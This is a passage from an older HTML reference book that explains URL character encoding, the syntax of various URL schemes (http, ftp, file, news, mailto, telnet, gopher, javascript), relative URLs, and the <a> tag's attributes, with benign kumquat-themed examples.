In addition to the nonprinting characters, you'll need to encode reserved and unsafe characters in your URLs as well.

Reserved characters are those characters that have a specific meaning within the URL itself. For example, many URLs use the slash character to separate elements of a pathname within the URL. If you need to include a slash in a URL that is not intended to be an element separator, you'll need to encode it as %2F:

http://www.calculator.com/compute?3%2f4

This URL actually references the resource named compute on the www.calculator.com server and passes the string 3/4 to it, as delineated by the question mark (?). Presumably, the resource is actually a server-side program that performs some arithmetic function on the passed value and returns a result.

Unsafe characters are those that have no special meaning within the URL, but may have a special meaning in the context in which the URL is written. For example, the double quotation mark character ( ") is used to delimit URLs in many HTML tags. If you were to include a double quotation mark directly in a URL, you would probably confuse the HTML browser. Instead, encode the double quotation mark as %22 to avoid any possible conflict.

Other reserved and unsafe characters that should always be encoded are shown in Table 7.1.

Table 7.1: Reserved and unsafe characters and their URL encodings
Character | Description | Usage | Encoding
; | Semicolon | Reserved | %3B
/ | Slash | Reserved | %2F
? | Question mark | Reserved | %3F
: | Colon | Reserved | %3A
@ | At sign | Reserved | %40
= | Equal sign | Reserved | %3D
& | Ampersand | Reserved | %26
< | Less than sign | Unsafe | %3C
> | Greater than sign | Unsafe | %3E
" | Double quotation mark | Unsafe | %22
# | Hash symbol | Unsafe | %23
% | Percent | Unsafe | %25
{ | Left curly brace | Unsafe | %7B
} | Right curly brace | Unsafe | %7D
| | Vertical bar | Unsafe | %7C
\ | Backslash | Unsafe | %5C
^ | Caret | Unsafe | %5E
~ | Tilde | Unsafe | %7E
[ | Left square bracket | Unsafe | %5B
] | Right square bracket | Unsafe | %5D
` | Back single quotation mark | Unsafe | %60

In general, you should always encode a character if there is some doubt as to whether it can be placed as-is in a URL. As a rule of thumb, any character other than a letter, number, or any of the characters $-_.+!*'(), should be encoded.

It is never an error to encode a character, unless that character has a specific meaning in the URL. For example, encoding the slashes in an http URL will cause them to be used as regular characters, not as pathname delimiters, breaking the URL.

The http URL

The http URL is, by far, the most common within the World Wide Web. It is used to access documents stored on an http server, and it has two formats:

http://server:port/path#fragment
http://server:port/path?search

Some of the parts are optional. In fact, the most common form of the http URL simply is:

http://server/path

designating the unique server and the directory path and name of a document.

The http server

The server is the unique Internet name or Internet Protocol (IP) numerical address of the computer system that stores the Web resource. Like us, we suspect you'll mostly use more easily remembered Internet names for the servers in your URLs.

Each Internet-connected computer has a unique address; a numeric (IP) address, of course, because computers deal only in numbers. Humans prefer names, so the Internet folks provide us with a collection of special servers and software (Domain Name System or DNS) that automatically resolve Internet names into IP addresses. InterNIC, a nonprofit agency, registers domain names mostly on a first-come, first-serve basis, and distributes new names to DNS servers worldwide.

The name consists of several parts, including the server's actual name and the successive names of its network domain, each part separated by a period. Typical Internet names look like www.ora.com or hoohoo.ncsa.uiuc.edu.[3]

[3] In the United States and for some Canadian establishments, the three-letter suffix of the domain name identifies the type of organization or business that operates that portion of the Internet. For instance, "com" is a commercial enterprise; "edu" is an academic institution; and "gov" identifies a government-based domain. Outside the United States, a less-descriptive suffix is assigned; typically a two-letter abbreviation of the country name: "jp" for Japan and "de" for Deutschland, for instance. That convention indicates the traditional distribution of the Internet and presumably will change dramatically as the network proliferates in the rest of the world.

It has become something of a convention that webmasters name their servers www for quick and easy identification on the Web. For instance, O'Reilly & Associates' web server's name is www, which, along with the publisher's acronym-based domain name, becomes the very easily remembered web site www.ora.com. Similarly, Sun Microsystems's web server is named www.sun.com; Apple Computer's is www.apple.com, and even Microsoft makes their web server easily memorable as www.microsoft.com. The naming convention has very obvious benefits, which you, too, should take advantage of if you are called upon to create a web server for your organization.

You may also specify the address of a server using its numerical IP address. The address is a sequence of four numbers, zero to 255, separated by periods. Valid IP addresses look like 137.237.1.87 or 192.249.1.33.

It'd be a dull diversion to tell you now what the numbers mean or how to derive an IP address from a domain name, particularly since you'll rarely if ever use one in a URL. Rather, this is a good place to hyperlink: pick up any good Internet networking treatise for rigorous detail on IP addressing, such as Ed Krol's The Whole Internet User's Guide and Catalog, published by O'Reilly & Associates (1994, Second Edition).

The http port

The port is the number of the communication port to which the client browser connects to the server. It's a networking thing: servers do many things besides serve up web documents and resources to client browsers: electronic mail, FTP document fetches, filesystem sharing, and so on. Although all that network activity may come into the server on a single wire, it's typically divided into software-managed "ports" for service-specific communications--something analogous to boxes at your local post office.

The default URL port for web servers is 80. Special secure web servers (Secure HTTP, SHTTP or Secure Socket Layer, SSL) run on port 443. Most web servers today use port 80; you need only to include a port number along with an immediately preceding colon in your URL if the target server does not use port 80 for web communication.

When the Web was in its infancy many months ago, pioneer webmasters ran their Wild Wild Web connections on all sorts of port numbers. For technical and security reasons, system-administrator privileges are required to install a server on port 80. Lacking such privileges, these webmasters chose other, more easily accessible, port numbers.

Now that web servers have become acceptable and are under the care and feeding of responsible administrators, documents being served on some port other than 80 or 443 should make you wonder if that server is really on the up and up. Most likely, the maverick server is being run by a clever user unbeknownst to the server's bona fide system administrators.

The http path

The document path is the UNIX-style hierarchical location of the file in the server's storage system. The pathname consists of one or more names separated by slashes. All but the last name represent directories leading down to the document; the last name is usually that of the document itself.

It has become a convention that for easy identification, HTML document names end with the suffix .html (they're otherwise plain ASCII text files, remember?). You can easily identify a PC-based server: their restrictions on filenames mean you can have only the three-letter .htm name suffix for HTML documents.

Although the server name in a URL is not case-sensitive, the document pathname may be. Since most web servers are run on UNIX-based systems and UNIX file names are case-sensitive, the document pathname will be case-sensitive, too. Web servers running on DOS machines are not case-sensitive, so the document pathname is not, but since it is impossible to know the operating system of the server you are accessing, always assume that the server has case-sensitive pathnames and take care to get the case correct when typing your URLs.

Certain conventions regarding the document pathname have arisen. If the last element of the document path is a directory, not a single document, the server usually will send back either a listing of the directory contents or the HTML index document in that directory. You should end the document name for a directory with a trailing slash character, but in practice, most servers will honor the request even if the character is omitted.

If the directory name is just a slash alone or sometimes nothing at all, you will retrieve the first (top-level) HTML document or so-called home page in the uppermost root directory of the server. Every well-designed http server should have an attractive, well-designed "home page"; it's a shorthand way for users to access your web collection since they don't need to remember the document's actual filename, just your server's name. That's why, for example, you can type http://www.ora.com into Netscape's "Open" dialog box and get O'Reilly's home page.

Another twist: if the first component of the document path starts with the tilde character (~), it means that the rest of the pathname begins from the personal HTML directory in the home directory of the specified user on the server machine. For instance, the URL http://www.kumquat.com/~chuck/ would retrieve the top-level page from Chuck's document collection.

Different servers have different ways of locating documents within a user's home directory. Many search for the documents in a directory named public_html. UNIX-based servers are fond of the name index.html for home pages.

The http document fragment

The fragment is an identifier that points to a specific section of a document. In URL specifications, it follows the server and pathname and is separated by the pound sign (#). A fragment identifier indicates to the browser that it should begin displaying the target document at the indicated fragment name. As we describe in more detail below, you insert fragment names into a document with the <a> tag and the name attribute. Like pathnames, a fragment name may be any sequence of characters.

The fragment name and the preceding hash symbol are optional; omit them when referencing a document without defined fragments.

Formally, the fragment element only applies to target files that are HTML documents. If the target of the URL is some other document type, the fragment name may be misinterpreted by the browser.

Fragments are useful for long documents. By identifying key sections of your document with a fragment name, you make it easy for readers to link directly to that portion of the document, avoiding the tedium of scrolling or searching through the document to get to the section that interests them.

As a rule of thumb, we recommend that every section header in your documents be accompanied by an equivalent fragment name. By consistently following this rule, you'll make it possible for readers to jump to any section in any of your documents. Fragments also make it easier to build tables of contents for your document families.

The http search parameter

The search component of the http URL, along with its preceding question mark, is optional. It indicates that the path is a searchable or executable resource on the server. The content of the search component is passed to the server as parameters that control the search or execution function.

The actual encoding of parameters in the search component is dependent upon the server and the resource being referenced. The parameters for searchable resources are covered later in this chapter, when we discuss searchable documents. Parameters for executable resources are discussed in Chapter 10, Forms.

Although our initial presentation of http URLs indicated that a URL can have either a fragment identifier or a search component, some browsers let you use both in a single URL. If you so desire, you can follow the search parameter with a fragment identifier, telling the browser to begin displaying the results of the search at the indicated fragment. Netscape, for example, supports this usage.

We don't recommend this kind of URL, though. First and foremost, it doesn't work on a lot of browsers. Just as important, using a fragment implies that you are sure that the results of the search will have a fragment of that name defined within the document. For large document collections, this is hardly likely. You are better off omitting the fragment, showing the search results from the beginning of the document, and avoiding potential confusion among your readers.

Sample http URLs

Here are some sample http URLs:

http://www.ora.com/catalog.html
http://www.ora.com/
http://www.kumquat.com:8080/
http://www.kumquat.com/planting/guide.html#soil_prep
http://www.kumquat.com/find_a_quat?state=Florida

The first example is an explicit reference to a bona fide HTML document named catalog.html that is stored in the root directory of the www.ora.com server. The second references the top-level home page on that same server. That home page may or may not be catalog.html. Sample three, too, assumes there is a home page in the root directory of the www.kumquat.com server, and that the web connection is to the nonstandard port 8080.

The fourth example is the URL for retrieving the web document named guide.html from the planting directory on the www.kumquat.com server. Once retrieved, the browser should display the document beginning at the fragment named soil_prep.

The last example invokes an executable resource named find_a_quat with the parameter named state set to the value Florida. Presumably, this resource generates an HTML response that is subsequently displayed by the browser.

The javascript URL

The javascript URL actually is a pseudo-protocol, not usually included in discussions of URLs. Yet, with advanced browsers like Netscape and Internet Explorer, the javascript URL can be associated with a hyperlink and used to execute JavaScript commands when the user selects the link. Expect to see many examples of link-related JavaScript effects in HTML documents on the Web. [the section called "JavaScript URLs"]

The javascript URL arguments

What follows the javascript pseudo-protocol is one or more semicolon-separated JavaScript expressions and methods, including references to multi-expression JavaScript functions that you embed within the <script> tag in your HTML documents (see Chapter 13, Executable Content, for details). For example:

javascript:window.alert('Hello, world!')
javascript:doFlash('red', 'blue'); window.alert('Do not press me!')

are valid URLs that you may include as the value for a link reference (see 4.1.2 and 6.4.3). The first example contains a single JavaScript method that activates an alert dialog with the simple message.

The second javascript URL example contains two arguments: the first calls a JavaScript function, doFlash, which presumably you have located elsewhere in the document within the <script> tag and which perhaps flashes the background color of the document window between the red and blue. The second expression is the same alert method as in the first example, but with a slightly different message.

The javascript URL may appear in a hyperlink sans arguments, too. In that case, the Netscape browser alone--not Internet Explorer--opens a special JavaScript editor wherein the user may type in and test the various expressions and methods.

The ftp URL

The ftp URL is used to retrieve documents from an FTP (File Transfer Protocol) server.[4] It has the format:

[4] FTP is an ancient Internet protocol that dates back to the Dark Ages, around 1975 or so. It was designed as a simple way to move files between machines and remains popular and useful to this day. Some people who are unable to run a true web server will place their documents on a server that speaks FTP instead.

ftp://user:password@server:port/path;type=typecode

The ftp user and password

FTP is an authenticated service, meaning that you must have a valid username and password in order to retrieve documents from a server. However, most FTP servers also support restricted, nonauthenticated access known as anonymous FTP. In this mode, anyone can supply the username "anonymous" and be granted access to a limited portion of the server's documents. Most FTP servers also assume (but may not grant, of course) anonymous access if the username and password are omitted.

If you are using an ftp URL to access a site that requires a username and password, include the user and password components in the URL, along with the colon (:) and "at" sign (@). More commonly, you'll be accessing an anonymous FTP server, and the user and password components can be omitted.

If you keep the user component along with the "at" sign, but omit the password and the preceding colon, most browsers will prompt you for a password after connecting to the FTP server. This is the recommended way of accessing authenticated resources on an FTP server, since it prevents others from seeing your password.

We recommend you never place an ftp URL with a user name and password in any HTML document. The reasoning is simple: anyone can retrieve the document, extract the user name and password from the URL, log into the FTP server, and tamper with its documents.

The ftp server and port

The ftp server and port are bound by the same rules as the server and port in an http URL, as described above. The server must be a valid Internet domain name or IP address of an FTP server. The port specifies the port on which the server is listening for requests.

If the port and its preceding colon are omitted, the default port of 21 is used. It is necessary to specify the port only if the FTP server is running on some port other than 21.

The ftp path and transfer type

The path component represents a series of directories, separated by slashes leading to the file to be retrieved. By default, the file is retrieved as a binary file; this can be changed by adding the typecode (and the preceding ;type=) to the URL.

If the typecode is set to d, the path is assumed to be a directory. The browser will request a listing of the directory contents from the server and display this listing to the user. If the typecode is any other letter, it is used as a parameter to the FTP type command before retrieving the file referenced by the path. While some FTP servers may implement other codes, most servers accept i to initiate a binary transfer and a to treat the file as a stream of ASCII text.

Sample ftp URLs

Here are some sample ftp URLs:

ftp://www.kumquat.com/sales/pricing
ftp://bob@bobs-box.com/results;type=d
ftp://bob:secret@bobs-box.com/listing;type=a

The first example retrieves the file named pricing from the sales directory on the anonymous FTP server at www.kumquat.com. The second logs into the FTP server on bobs-box.com as user bob, prompting for a password before retrieving the contents of the directory named results and displaying them to the user. The last example logs into bobs-box.com as bob with the password secret and retrieves the file named listing, treating its contents as ASCII characters.

The file URL

The file URL specifies a file stored on a machine without indicating the protocol used to retrieve the file. As such, it has limited use in a networked environment. Its real benefit, however, is that it can reference a file on the user's machine, and is particularly useful for referencing personal HTML document collections, such as those "under construction" and not yet ready for general distribution, or HTML document collections on CD-ROM. It has the format:

file://server/path

The file server

The file server, like the http server described above, must be the Internet domain name or IP address of the machine containing the file to be retrieved. No assumptions are made as to how the browser might contact the machine to obtain the file; presumably the browser can make some connection, perhaps via a Network File System or FTP, to obtain the file.

If the server is omitted, or the special name localhost is used, the file is assumed to reside on the same machine upon which the browser is running. In this case, the browser simply accesses the file using the normal facilities of the local operating system. In fact, this is the most common usage of the file URL. By creating document families on a diskette or CD-ROM and referencing your hyperlinks using the file://localhost/ URL, you create a distributable, standalone document collection that does not require a network connection to use.

The file path

This is the path of the file to be retrieved on the desired server. The syntax of the path may differ based upon the operating system of the server; be sure to encode any potentially dangerous characters in the path.

Sample file URLs

The file URL is easy:

file://localhost/home/chuck/document.html
file:///home/chuck/document.html
file://marketing.kumquat.com/monthly_sales.html

The first URL retrieves /home/chuck/document.html from the user's local machine. The second is identical to the first, except we've omitted the localhost reference to the server; the server name defaults to the local server. Do notice, however, the extra forward slash is required for this alternate form.

The third example uses some protocol to retrieve monthly_sales.html from the marketing.kumquat.com server.

The news URL

The news URL accesses either a single message or an entire newsgroup within the Usenet news system. It has two forms:

news:newsgroup
news:message_id

An unfortunate limitation in news URLs is that they don't allow you to specify a server for the newsgroup. Rather, users specify their news-server resource in their browser preferences. At one time, not long ago, Internet newsgroups were nearly universally distributed; all news servers carried all the same newsgroups and their respective articles, so one news server was as good as any. Today, the sheer bulk of disk space needed to store the daily volume of newsgroup activity is often prohibitive for any single news server, and there's also local censorship of newsgroups. Hence, you cannot expect that all newsgroups, and certainly not all articles for a particular newsgroup, will be available on the user's news server.

Moreover, many users' browsers may not be correctly configured to read news. We recommend you avoid placing news URLs in your documents except in rare cases.

Accessing entire newsgroups

There are several thousand newsgroups devoted to nearly every conceivable topic under the sun and beyond. Each group has a unique name, composed of hierarchical elements separated by periods. For example,

comp.infosys.www.announce

is the World Wide Web announcements newsgroup. To access this group, use the URL:

news:comp.infosys.www.announce

Accessing single messages

Every message on a news server has a unique message identifier (ID) associated with it. This ID has the form:

unique_string@server

The unique_string is a sequence of ASCII characters; the server is usually the name of the machine from which the message originated. The unique_string must be unique among all the messages that originated from the server. A sample URL to access a single message might be:

news:12A7789B@news.kumquat.com

In general, message IDs are cryptic sequences of characters not readily understood by humans. Moreover, the lifespan of a message on a server is usually measured in days, after which the message is deleted and the message ID is no longer valid. The bottom line: single message news URLs are difficult to create, become invalid quickly, and are generally not used.

The nntp URL

The nntp URL goes beyond the news URL to provide a complete mechanism for accessing articles in the Usenet news system. It has the form:

nntp://server:port/newsgroup/article

The nntp server and port

The nntp server and port are defined similarly to the http server and port, described earlier. The server must be the Internet domain name or IP address of a nntp server; the port is the port on which that server is listening for requests.

If the port and its preceding colon are omitted, the default port of 119 is used.

The nntp newsgroup and article

The newsgroup is the name of the group from which an article is to be retrieved, as defined in 6.2.6.

The article is the numeric id of the desired article within that newsgroup. Although the article number is easier to determine than a message id, it falls prey to the same limitations of single message references using the news URL, above. Specifically, articles do not last long on most nntp servers, and nntp URLs quickly become invalid as a result.

Sample nntp URLs

A sample nntp URL might be:

nntp://news.kumquat.com/alt.fan.kumquats/417

This URL retrieves article 417 from the alt.fan.kumquats newsgroup on news.kumquat.com. Keep in mind that the article will only be served to machines that are allowed to retrieve articles from this server. In general, most nntp servers restrict access to those machines on that same local area network.

The mailto URL

The mailto URL causes an electronic mail message to be transmitted to a named recipient. It has the format:

mailto:address

The address is any valid email address, usually of the form:

user@server

Thus, a typical mailto URL might look like:

mailto:cmusciano@aol.com

Browsers like Netscape honor multiple recipients in the mailto URL, separated by a comma. For example,

mailto:cmusciano@aol.com,booktech@ora.com,archive@myserver.com

will address the message to all three recipients. There should be no spaces before or after the commas in the URL.

Defining mail header fields

Most browsers open an email composition window when the user selects a mailto URL. The recipient's address is filled in, taken from the URL, but the message subject and various other header fields are left blank. Many webmasters would like to fill in these fields as a courtesy to their readers, but the URL standard provides no way to do this.

The modern browsers extend the mailto URL to fill this gap. By adding CGI-like parameters to the mailto header, you can set the value of the subject with Netscape and Internet Explorer, and also cc (carbon copy) and bcc (blind carbon copy) fields for the mail message with Netscape. All of these URLs work with Netscape; only the first one works correctly with Internet Explorer. [the section called "Passing parameters explicitly"]

mailto:cmusciano@aol.com?subject=Loved your book!
mailto:cmusciano@aol.com?cc=booktech@ora.com
mailto:cmusciano@aol.com?bcc=archive@myserver.com

As you can probably guess, the first URL sets the subject of the message. Note that spaces are allowed; you don't have to replace them with the hexadecimal equivalent %20. The second URL places the address booktech@ora.com in the cc field of a Netscape message. Similarly, the last example sets the bcc field of the message.You may also set several fields in one URL by separating the field definitions with ampersands. For example,

mailto:cmusciano@aol.com?subject=Loved your book!&cc=booktech@ora.com& bcc=archive@myserver.com

sets the subject and carbon-copy address. (This line would normally appear as a single line but is broken here due to the width of the page.)

Internet Explorer Version 3 does not recognize the bcc and cc fields in the mailto URL and will either complain about them if they appear alone, or will append them to a preceding subject.

The telnet URL

The telnet URL opens an interactive session with a desired server, allowing the user to log in and use the machine. Often, the connection to the machine automatically starts a specific service for the user; in other cases, the user must know the commands to type to use the system. The telnet URL has the form:

telnet://user:password@server:port/

The telnet user and password

The telnet user and password are used exactly like the user and password components of the ftp URL, described previously. In particular, the same caveats apply regarding protecting your password and never placing it within a URL.

Just like the ftp URL, if you omit the password from the URL, the browser should prompt you for a password just before contacting the telnet server.

If you omit both the user and password, the telnet occurs without supplying a user name. For some servers, telnet automatically connects to a default service when no user name is supplied. For others, the browser may prompt for a username and password when making the connection to the telnet server.

The telnet server and port

The telnet server and port are defined similarly to the http server and port, described above. The server must be the Internet domain name or IP address of a telnet server; the port is the port on which that server is listening for requests.

If the port and its preceding colon are omitted, the default port of 23 is used.

The gopher URL

Gopher is a web-like document retrieval system that achieved some popularity on the Internet just before the World Wide Web took off, completely replacing Gopher. Some Gopher servers still exist, though, and the gopher URL lets you access Gopher documents. The gopher URL has the form:

gopher://server:port/path

The gopher server and port

The gopher server and port are defined similarly to the http server and port, described previously. The server must be the Internet domain name or IP address of a gopher server; the port is the port on which that server is listening for requests.

If the port and its preceding colon are omitted, the default port of 70 is used.

The gopher path

The path can take one of three forms:

type/selector
type/selector%09search
type/selector%09search%09gopherplus

The type is a single character value denoting the type of the gopher resource. If the entire path is omitted from the gopher URL, the type defaults to 1.

The selector corresponds to the path of a resource on the Gopher server. It may be omitted, in which case the top-level index of the Gopher server is retrieved.

If the Gopher resource is actually a Gopher search engine, the search component provides the string for which to search. The search string must be preceded by an encoded horizontal tab (%09).

If the Gopher server supports Gopher+ resources, the gopherplus component supplies the necessary information to locate that resource. The exact content of this component varies based upon the resources on the gopher server. This component is preceded by an encoded horizontal tab (%09). If you want to include the gopherplus component but omit the search component, you must still supply both encoded tabs within the URL.

Absolute and Relative URLs

URLs come in two flavors: absolute and relative. An absolute URL is the complete address of a resource and has everything your system needs to find a document and its server on the Web. At the very least, an absolute URL contains the scheme and all required elements of the scheme_specific_part of the URL. It may also contain any of the optional portions of the scheme_specific_part.

With a relative URL you provide an abbreviated document address that, when automatically combined with a "base address" by the system, becomes a complete address for the document. Within the relative URL, any component of the URL may be omitted. The browser automatically fills in the missing pieces of the relative URL using corresponding elements of a base URL. This base URL is usually the URL of the document containing the relative URL, but may be another document specified with the <base> tag. [the section called "The <base> Header Element"]

Relative schemes and servers

A common form of a relative URL is missing the scheme and server name. Since many related documents are on the same server, it makes sense to omit the scheme and server name from the relative URL. For instance, assume the base document was last retrieved from the server www.kumquat.com. The relative URL, then:

another-doc.html

is equivalent to the absolute URL:

http://www.kumquat.com/another-doc.html

Table 7.2 shows how the base and relative URLs in the example are combined to form an absolute URL.

Table 7.2: Forming an absolute URL
 | Protocol | Server | Directory | File
Base URL | http | www.kumquat.com | / |
Relative URL | (Down Arrow) | (Down Arrow) | (Down Arrow) | another-doc.html
(Down Arrow) | (Down Arrow) | (Down Arrow) | (Down Arrow) | (Down Arrow)
Absolute URL | http | www.kumquat.com | / | another-doc.html

Relative document directories

Another common form of a relative URL omits the leading slash and one or more directory names from the beginning of the document pathname. The directory of the base URL is automatically assumed to replace these missing components. It's the most common abbreviation because most HTML authors place their collection of documents and subdirectories of support resources in the same directory path as the home page. For example, you might have a special/ subdirectory containing FTP files referenced in your HTML document. Let's say that the absolute URL for that HTML document is:

http://www.kumquat.com/planting/guide.html

A relative URL for the file README.txt in the special/ subdirectory, then, looks like this:

ftp:special/README.txt

You'll actually be retrieving:

ftp://www.kumquat.com/planting/special/README.txt

Visually, the operation looks like that in Table 7.3.

Table 7.3: Forming an absolute FTP URL
 | Protocol | Server | Directory | File
Base URL | http | www.kumquat.com | /planting | guide.html
Relative URL | ftp | (Down Arrow) | special | README.txt
(Down Arrow) | (Down Arrow) | (Down Arrow) | (Down Arrow) | (Down Arrow)
Absolute URL | ftp | www.kumquat.com | /planting/special | README.txt

Using relative URLs

Relative URLs are more than just a typing convenience. Because they are relative to the current server and directory, you can move the entire set of documents to another directory or even another server and never have to change a single relative link. Imagine the difficulties if you had to go into every source HTML document and change the URL for every link every time you move it. We'd loathe using hyperlinks! Use relative URLs wherever possible.

Previous | Home | Next
Hypertext Basics | Book Index | Creating Hyperlinks
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 7] 7.3 Creating Hyperlinks

HTML: The Definitive Guide

Previous Chapter 7
Links and Webs 		Next

7.3 Creating Hyperlinks

Use the HTML <a> tag to create links to other documents and to name anchors for fragment indentifiers within documents.

The <a> Tag

HTML authors use the <a> tag most commonly with its href attribute to create a hypertext link, or hyperlink, for short, to another place in the same document or to another document. In these cases, the current document is the source of the link; the value of the href attribute, a URL, is the target.

You may run across the terms "head" and "tail," which reference the target and source of a hyperlink. This naming scheme assumes that the referenced document (the head) has many tails that are embedded in many referencing documents throughout the Web. We find this naming convention confusing and stick to the concept of source and target documents throughout this book.

<a>
Function:

Define anchors within a text flow

Attributes:

CLASS (Netscape) (Internet Explorer)
HREF
NAME
ONCLICK (Netscape) (Internet Explorer)
ONMOUSEOUT (Netscape) (Internet Explorer)
ONMOUSEOVER (Netscape) (Internet Explorer)
REL
REV
STYLE (Netscape) (Internet Explorer)
TARGET (Netscape) (Internet Explorer)
TITLE

End Tag:

</a>, always present

Contains:

a_content

Used in:

text

The other way you can use the <a> tag is with the name attribute to mark a hyperlink target, or fragment identifier, in an HTML document.

It is possible to use both the name and href attributes within a single <a> tag, defining a link to another document and a fragment identifier within the current document. We recommend against this, since it overloads a single tag with multiple functions, and some browsers may not be able to handle it.

Instead, use two <a> tags when such a need arises. Your HTML source will be easier to understand and modify, and will work better across a wider range of browsers.

Allowed content

Between the <a> tag and its required end tag, you may put only regular text, line breaks, images, and headings. The browser renders all of these elements normally, but with the addition of some special effects to indicate that it is a hyperlink to another document. For instance, the popular graphical browsers typically underline and color the text and draw a colored border around images that are enclosed by <a> tags.

While the allowed content may seem restricted (the inability to place style markup within an <a> tag is a bit onerous, for instance), most browsers let you put just about anything within an <a> tag that makes sense. To be compliant with the HTML standard, place the <a> tag inside other markup tags, not the opposite. For example, while most browsers make sense of either variation on this anchor theme:

To subscribe to
<cite><a href="ko.html">Kumquat Online</a></cite>,
To subscribe to
<a href="ko.html"><cite>Kumquat Online</cite></a>,

only the first example is technically correct.

The href attribute

Use the href attribute to specify the URL of the target of the link. Its value is any valid document URL, absolute or relative, including a fragment identifier or a JavaScript code fragment. If the user selects the contents of the <a> tag, the browser will retrieve and display the document indicated by the URL specified by the href attribute or execute the list of JavaScript expressions, methods, and functions. [the section called "Referencing Documents: The URL"]

A simple <a> tag that references another document might be:

The <a href="http:growing_season.html">growing
season</a> for kumquats in the Northeast.

which appears in the Netscape display as shown in Figure 7.1.

Figure 7.1: Hyperlink to another HTML document

[Graphic: Figure 7-1]

Notice that the phrase "growing season" is specially rendered by the browser, letting the user know that it is a link to another document. Users also typically have the option to specially set the text color of the link and have the color change when a link is taken; blue initially and then red after it has been selected at least once, for instance.

More complex anchors might include images:

<ul>
  <li><a href="pruning_tips.html">
      <img src="pics/new.gif">New pruning tips!</a>
  <li><a href="xhistory.html">
      <img src="pics/new2.gif">Kumquats throughout history</a>
</ul>

Mosaic, like most graphical browsers like Netscape and Internet Explorer, places a special border around images that are part of an anchor, as shown in Figure 7.2

Figure 7.2: Mosaic puts a special border around an image that is inside an anchor

[Graphic: Figure 7-2]

The name attribute

Use the name attribute to place a fragment identifier within an HTML document. Once created, the fragment identifier becomes a potential target of a link.

An easy way to think of a fragment identifier is as the HTML analog of the goto statement label common in many programming languages. The name attribute within the <a> tag places a label within a document. When that label is used in a link to that document, it is the equivalent of telling the browser to goto that label.

The value of the name attribute is any character string, enclosed in quotation marks; for example:

<h2><a name="Pruning">Pruning Your Kumquat Tree</a></h2>

Notice that we set the anchor in a section header of presumably a large document. It's a practice we encourage you use for all major sections of your work for easier reference and future smart processing, such as automated extraction of topics.

The following link, when taken by the user:

<a href="growing_guide.html#Pruning">

jumps directly to the section of the document we named above.

The contents of the <a> tag are not displayed in any special way with the name attribute.

Technically, you do not have to put any document content within the <a> tag with the name attribute since it simply marks a location in the document. In practice, some browsers ignore the tag unless some document content--a word or phrase, even an image--is between the <a> and </a> tags. For this reason, it's probably a good idea to have at least one displayable element in the body of any <a> tag.

The onClick, onMouseOver, and OnMouseOut attributes

There are a number of "event handlers" built into the modern browsers. These handlers watch for certain conditions and user actions, such as a click of the mouse or when an image finishes loading into the browser window. With client-side JavaScript, you may include selected event handlers as attributes of certain HTML tags and execute one or more JavaScript commands and functions when the event occurs.

With the anchor (<a>) tag, you may associate JavaScript code with three mouse-related events: when the user clicks the mouse button (onClick), when the user moves the mouse pointer onto the tag's contents (onMouseOver), and when the user moves the mouse pointer off the hyperlink ( onMouseOut). The value of the event handler is--enclosed in quotation marks--one or a sequence of semicolon-separated JavaScript expressions, methods, and function references that the browser executes when the event occurs. [the section called "JavaScript Event Handlers"]

For example, a popular, albeit simple, use of the onMouseOver event with a hyperlink is to print an expanded description of the tag's destination in the JavaScript-aware browser's status box (Figure 7.3). Normally, the browser displays the frequently cryptic destination URL there whenever the user passes the mouse pointer over an <a> tag's contents:

<a href="http://www.ora.com/kumquats/homecooking/recipes.html#quat5"
   onMouseOver="window.status='A recipe for kumquat soup.';return true">
   <img src="pics/bowl.gif" border=0>
</a>

We argue that the contents of the tag itself should explain the link, but there are times when window space is tight and an expanded explanation is helpful, such as when the link is in a table of contents.

Figure 7.3: Use JavaScript to display a message in the browser's status box

[Graphic: Figure 7-3]

See Chapter 13, Executable Content, for more about JavaScript.

The rel and rev attributes

The rel and rev attributes express a formal relationship and direction between source and target documents. The rel attribute specifies the relationship from the source document to the target; the rev attribute specifies the relationship from the target to the source. Both attributes can be placed in a single <a> tag, and the browser may use them to specially alter the appearance of the anchor content or to automatically construct document navigation menus. Other tools also may use these attributes to build special link collections, tables of contents, and indexes.

The value of either the rel or rev attribute is a space-separated list of relationships. The actual relationship names and their meanings are up to you: they are not formally addressed by the HTML standard. For example, a document that is part of a sequence of documents might include its relationship in a link:

<a href="part-14.html" rel=next rev=prev>

The relationship from the source to the target is that of moving to the next document; the reverse relationship is that of moving to the previous document.

These document relationships are also used in the <link> tag in the document <head>. The <link> tag establishes the relationship without actually creating a link to the target document; the <a> tag creates the link and imbues it with the relationship attributes. [the section called "The <link> Header Element"]

Commonly used document relationships appear in the list below.

next

Links to the next document in a collection

prev

Links to the previous document in a collection

head

Links to the top-level document in a collection

toc

Links to a collection's table of contents

parent

Links to the document above the source

child

Links to a document below the source

index

Links to the index for this document

glossary

Links to the glossary for this document

In general, few browsers take advantage of these attributes to modify the link appearance. However, these attributes are a great way to document links you create, and we recommend you take the time to insert them whenever possible.

The style and class attributes

Use the style and class attributes for the <a> tag to control the display style for the content enclosed by the tag, and to format the content according to a predefined class of the <a> tag. [the section called "Inline Styles: The style Attribute"] [the section called "Style Classes"]

The target attribute

The target attribute lets you specify where to display the contents of a selected hyperlink. Commonly used in conjunction with frames or multiple browser windows, the value of this attribute is the name of the frame or window in which the referenced document should be loaded. If the named frame or window exists, the document is loaded in that frame or window. If not, a new window is created, given the specified name, and the document is loaded in that new window. For more information, including a list of special target names, see 12.7.

The title attribute

The title attribute lets you specify a title for the document to which you are linking. The value of the attribute is any string, enclosed in quotation marks. The browser might use it when displaying the link, perhaps flashing the title when the mouse passes over the link. The browser might also use the title attribute when adding this link to a user's hotlist.

The title attribute is especially useful for referencing an otherwise unlabeled resource, such as an image or a non-HTML document. For example, the browser might include the following title on this otherwise wordless image display page:

<a href="pics/kumquat.gif"
   title="A photograph of the Noble Fruit">

Ideally, the value specified should match the title of the referenced document, but it's not required.

The urn attribute

The urn attribute defines the more general universal resource name (URN) for a referenced document. The value of this attribute is a string enclosed in quotes. The actual syntax and semantics of the URN have not yet been defined, making this attribute little more than a place keeper for future versions of HTML.

Linking to Other Documents

You make a hyperlink to another document with the <a> tag and its href attribute, which defines the URL of the target document. The contents of the <a> tag are presented to the user in some distinctive manner to indicate the link is available.

When creating a link to another document, you should consider adding the title, rel, and rev attributes to the <a> tag. They help document the link you are creating and allow the browser to further embellish the display anchor contents.

Linking Within a Document

Creating a link within the same HTML document or to a specific fragment of another document is a two-step process. The first step is to make the target fragment; the second is to create the link to the fragment.

